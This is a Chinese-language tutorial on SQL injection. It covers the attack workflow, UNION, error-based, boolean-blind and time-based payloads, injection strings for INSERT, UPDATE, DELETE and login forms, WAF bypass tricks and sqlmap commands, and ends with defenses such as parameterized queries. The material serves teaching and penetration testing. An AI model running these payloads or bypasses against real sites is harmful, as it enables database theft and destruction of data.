SQL注入补充
字数 3508 2025-08-15 21:31:30
SQL注入全面解析与防御指南
1. SQL注入基础概念
1.1 定义与本质
- SQL注入:通过将SQL命令插入到Web表单提交、输入域名或页面请求的查询字符串中,欺骗服务器执行恶意SQL命令的攻击方式
- 本质:违背了"数据与代码分离"的原则
- 关键条件:
- 用户能控制输入的内容
- Web应用把用户输入的内容带入到数据库执行
1.2 注入漏洞范围
- 不仅限于
id=1这类参数 - 不仅限于SELECT语句,还包括UPDATE、DELETE、INSERT等语句
2. SQL注入常见流程
- 判断是否有注入
- 获取数据库基本信息(user(), database(), version(), @@basedir等)
- 获取数据库名
- 获取表名
- 获取列名
- 获取字段数据
- 破解数据
- 寻找后台
- 数据导出
- 渗透后续操作
注意:仅获取版本号属于基本测试,进一步操作可能涉及法律风险
3. SQL注入常用函数
| 函数类别 | 常用函数 |
|---|---|
| 聚合函数 | group_concat(), count() |
| 字符串处理 | length(), ascii()/ord(), substr()/mid() |
| 条件判断 | if() |
| 延时函数 | sleep(), benchmark() |
| 报错函数 | floor(), extractvalue(), updatexml(), geometrycollection(), multipoint(), polygon(), multipolygon(), linestring(), multilinestring(), exp() |
4. SQL注入分类与攻击技术
4.1 按反馈类型分类
4.1.1 报错注入
- 利用特殊报错函数构造语句爆出数据
- 常用函数:floor(), extractvalue(), updatexml()等
4.1.2 联合查询注入(UNION)
- 依赖information_schema数据库
- 攻击步骤:
- 使用
order by猜测字段数 - 构造
union select语句获取数据 - 常用payload示例:
- 查看所有库名:
id=-1' union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata %23 - 查看指定库表名:
id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=0x6d7367 %23 - 查看表字段:
id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_schema=0x6d7367 and table_name=0x75736572 %23
- 查看所有库名:
- 使用
4.1.3 布尔盲注
- 页面有变化但不显示具体错误信息
- 攻击方法:
- 测长度:
id=1' and length(version())>10 %23 - 测字符:
id=1' and ascii(substr(version(),1,1))>100 %23 - 使用二分法逐步猜测
- 测长度:
4.1.4 延时注入
- 根据服务器响应时间判断注入
- 常用payload:
- 测版本长度:
id=1' and if(length(version())>10,sleep(5),0) %23 - 测字符:
id=1' and if(ascii(mid(version(),1,1))>100,sleep(5),0)%23 - 注意事项:
- 在SELECT语句中使用AND而非OR
- IF语句第三个参数建议设为0
- 测版本长度:
4.2 按SQL语句类型分类
4.2.1 SELECT注入
- 最常见类型,如前所述
4.2.2 INSERT注入
- 攻击示例:
- 原始语句:
insert into messages (title,message,time,content,author) values ('hello','123','2018','123','admin'); - 注入构造:
msg',1,1,1)# - 最终语句:
insert into messages (title,message,time,content,author) values ('hello','msg',1,1,1)#')
- 原始语句:
4.2.3 UPDATE注入
- 高危操作,建议使用延时注入
- 注意事项:
- 不要使用
'#或"#注释,会导致所有记录被更新 - 构造语句需包含WHERE子句
- 不要使用
- 攻击示例:
123' where id = 100 and sleep(2)#123' where id=7100 and if(length(version())>5,sleep(3),0)#
4.2.4 DELETE注入
- 极高危操作,需谨慎测试
- 注意事项:
- 不要使用
'#或"#注释,会导致所有记录被删除 - IF语句返回结果必须为0
- 不要使用
- 攻击示例:
qwer' and sleep(3)#qwer' and if(length(version())>5,sleep(3),0) #
4.3 按业务场景分类
4.3.1 登录注入
- 常用延时注入
- 两种处理逻辑:
- 直接查询用户名和密码:
select * from users where user='tom' and pass='hello'; - 先查询用户名再比对密码
- 直接查询用户名和密码:
- 注入示例:
tom' and sleep(3)
4.3.2 注册注入
- 通过select+insert完成
- 注入示例:
admin' and sleep(5)#
4.3.3 留言板注入
- 在留言内容处构造语句
- 注入示例:
msg',version())#
4.3.4 图片上传注入
- 修改文件名包含SQL语句
- 当文件名存入数据库时执行
4.4 按数据库类型分类
- MySQL注入
- Access注入
- MSSQL注入
- Oracle注入
4.5 特殊注入类型
4.5.1 宽字节注入
- 前提:数据库编码为GBK/GB2312等
- 原理:利用%5c(\)被编码特性
- UTF8无此漏洞
4.5.2 二次解码注入
- 成因:addslashes()在urlencode之前使用
- 需代码审计发现
5. WAF绕过技术
5.1 常用绕过方法
- 大小写混合:
uNIoN sELecT 1,2,3,4 - 替换关键字:
selselsectect 1,2,3,4 - 使用编码:
%55nion%53elect 1,2,3,4 - 使用注释:
union /**/select 1,2,3,4 - 等价函数:
@@datadir=>datadir() - 特殊符号:
select+id+from users
6. SQLMap工具使用
6.1 基本命令
- 扫描网站:
python sqlmap.py -u http://example.com/index.php?id=1 - 查看当前数据库:
python sqlmap.py -u http://example.com/index.php?id=1 --current-db
6.2 详细级别(-v参数)
| 等级 | 显示内容 |
|---|---|
| 0 | 只显示Python错误及严重信息 |
| 1 | 显示基本信息和警告 |
| 2 | 显示debug信息 |
| 3 | 显示注入payload |
| 4 | 显示HTTP请求 |
| 5 | 显示HTTP响应头 |
| 6 | 显示HTTP响应页面 |
7. SQL注入防御措施
7.1 魔术引号
magic_quotes_gpc:过滤GET、POST、COOKIE值magic_quotes_runtime:过滤从数据库或文件获取的数据
7.2 过滤函数
addslashes()mysql[real]_escape_string()intval()等类型转换函数
7.3 最佳实践
- 使用预编译语句(参数化查询)
- 最小权限原则
- 输入验证与过滤
- 错误信息处理
- 定期安全审计
通过全面理解SQL注入的原理、技术和防御方法,开发人员可以构建更安全的Web应用,安全人员也能更有效地进行渗透测试和漏洞评估。